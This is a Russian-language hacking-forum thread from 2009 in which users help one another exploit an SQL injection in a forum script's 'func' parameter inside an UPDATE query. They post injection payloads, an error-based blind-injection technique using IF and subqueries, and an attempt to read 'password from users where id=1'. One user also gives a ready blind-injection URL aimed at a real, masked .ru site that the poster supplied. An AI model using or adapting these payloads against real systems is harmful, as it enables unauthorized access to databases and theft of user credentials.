 |
|

24.07.2009, 02:23
|
|
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами:
9466141
Репутация:
74
|
|
Код:
/forum.html?func=who'%20--%20a
вот так все норм ошибки не выдает при UPDATE запросе....
|
|
|

24.07.2009, 09:27
|
|
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами:
9342612
Репутация:
6
|
|
Сообщение от xa-xa89
Код:
/forum.html?func=who'%20--%20a
вот так все норм ошибки не выдает при UPDATE запросе....
Не катит.
В запросе у нас WHERE идет с новой строки, а в данном случае комментируется текущая строка, поэтому и ошибок не выдает.
Можем даже проверить:
Код:
/forum.html?func=who'+where+1=1+--+a
на что получаем ошибку синтаксиса и очевидно, что основной WHERE у нас не закомментировался.
Последний раз редактировалось Disasm; 24.07.2009 в 10:06..
|
|
|

24.07.2009, 20:43
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Disasm
У Вас скорее всего версия Mysql >=5.0.51, она требует закрытия комментария "/*", отсюда и ошибка синтаксиса:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*'
а однострочный, как вы сами заметили не будет работать
Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html
И кстати.
Сообщение от Disasm
а делее через UNION еще раз UPDATE
Ээээ?
|
|
|

24.07.2009, 21:49
|
|
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами:
9342612
Репутация:
6
|
|
Сообщение от jokester
Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html
Большое спасибо! Действительно интересный материал, но опять же, чтоб спровоцировать more than 1 row мне необходимо закомментировать хвост. А это, как вы уточнили, в Mysql 5.0.51 и выше, реализовать не удастся.
jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.
|
|
|

24.07.2009, 22:18
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами:
9610769
Репутация:
380
|
|
Насколько я понимаю запрос имеет такую форму:
$sql = "UPDATE table SET time='{$now}', what='{$what}', do= '{$do}', task= '{$task}', link= '{$link}', func= '{$func}'"
. " WHERE userid={$my->id} AND userip='{$myip}'";
где уязвимый параметр func, и судя по error на сингл комент /* у нас 5, и для more than 1 row вам не обязательно необходимо коментить оставшуюся часть запроса т.к. в 5 давно есть сабгвери, следовательно
$func = 1%27 or 1=IF(SUBSTRING((SELECT version()),1,1)=4,0,(select 1 union select 5))
"UPDATE table SET time='{$now}',
what='{$what}',
do= '{$do}',
task= '{$task}',
link= '{$link}',
func= '{$func}'"
WHERE
userid={$my->id} AND userip='{$myip}'";
|
|
|

24.07.2009, 22:21
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от Disasm
jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.
Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:
Сообщение от Disasm
INSERT идет только тогда, когда для текущего посетителя сессия еще не открыта (точнее не сессия, а запись в БД о текущем местонахождении)
Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.
2 PaCo
Там видишь ещё какое г.
WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=bla%27/*', func= 'bla'/*' WHERE userid=0 AND userip='255.255.255.255'
Надо учитывать
Последний раз редактировалось jokester; 24.07.2009 в 22:26..
|
|
|

24.07.2009, 22:31
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами:
9610769
Репутация:
380
|
|
Сообщение от jokester
Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:
Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.
2 PaCo
Там видишь ещё какое г.
Надо учитывать
Вижу вот это
link= '/index.php?func=bla %27/*', func= 'bla '/*' я ж не случайно написал %27, даже если бы кавычка оставалась как есть можно и /**/ закоментить что нам не нравиться если имеем 2 уязвимых параметра, только надо подумать как  .
З.Ы. jokester согласен тестить нужно а так это гадания на картах.
А что этот топ здесь делает? По моему это далеко не кодинг.
ЗЫ про оставшуюся та ковычку я и забыл
Вообшем ТС вот тебе для блинд запрос по тому адресу что ты мне в пм отослал(пробелы поуберай):
http://**********.ru/*****.html?func=who%27%20or%201=IF(SUBSTRING((SELE CT%20version()),1,1)%3E5,0,(select%201%20union%20s elect%205))%20and%201=%271%20
сама сабгверя SELECT%20version() ну и т.д., версия 5, значит есть INFORMATION.SCHEMA вопрос что в ней есть - ну это уже сам смотри.
Последний раз редактировалось PaCo; 24.07.2009 в 23:21..
|
|
|

24.07.2009, 23:15
|
|
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами:
9342612
Репутация:
6
|
|
Пытаюсь выполнить запрос:
/forum.html?func=who'+or+1=IF(SUBSTRING((SELECT+ver sion()),1,1)=4,0,(select password from users where id=1))+--+a
Запрос действительно выполняется, ошибок в ответку нет.
Меняю имя поля на не существующее и в ответ получаю соответствующую ошибку - значит выборка прошла успешно.
Уважаемые Гуру, я одного не могу понять, как мне это может помочь в получении значения определенной записи?
Последний раз редактировалось Disasm; 24.07.2009 в 23:19..
|
|
|

24.07.2009, 23:43
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами:
9610769
Репутация:
380
|
|
2Disasm - блайнд там выполним, пример запроса тебе показали так что стоит немного почитать линки которые тебе дали, никто тебе не будет описывать все до мелочей, сам запрос которых ты хочешь зделать нужно писать в условии IF а не в варинтах при выполнении/не выполнении условия в IF:
IF(ЗДЕСЬ_УСЛОВИЯ_СЧИТАЙ_САБ_ ВЕРЯ_И_ПРОВЕРКА_ЕЕ_РЕЗУЛЬТ ТОВ,0,ЗДЕСЬ_ТО_ЧТО_БУДЕТ_ВЫЗ ЫВАТЬ_ОШИБКУ_ПРИ_НЕ_ВЫПОЛНЕ НИИ_УСЛОВИЯ)
|
|
|

25.07.2009, 00:04
|
|
Новичок
Регистрация: 10.08.2008
Сообщений: 18
С нами:
9342612
Репутация:
6
|
|
Подскажите, я мыслю в правильном направлении:
Как я понял с помощью этого запроса я могу выполнить только посимвольный брут значения определенного поля?
Значение целиком я получить никак не смогу?
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|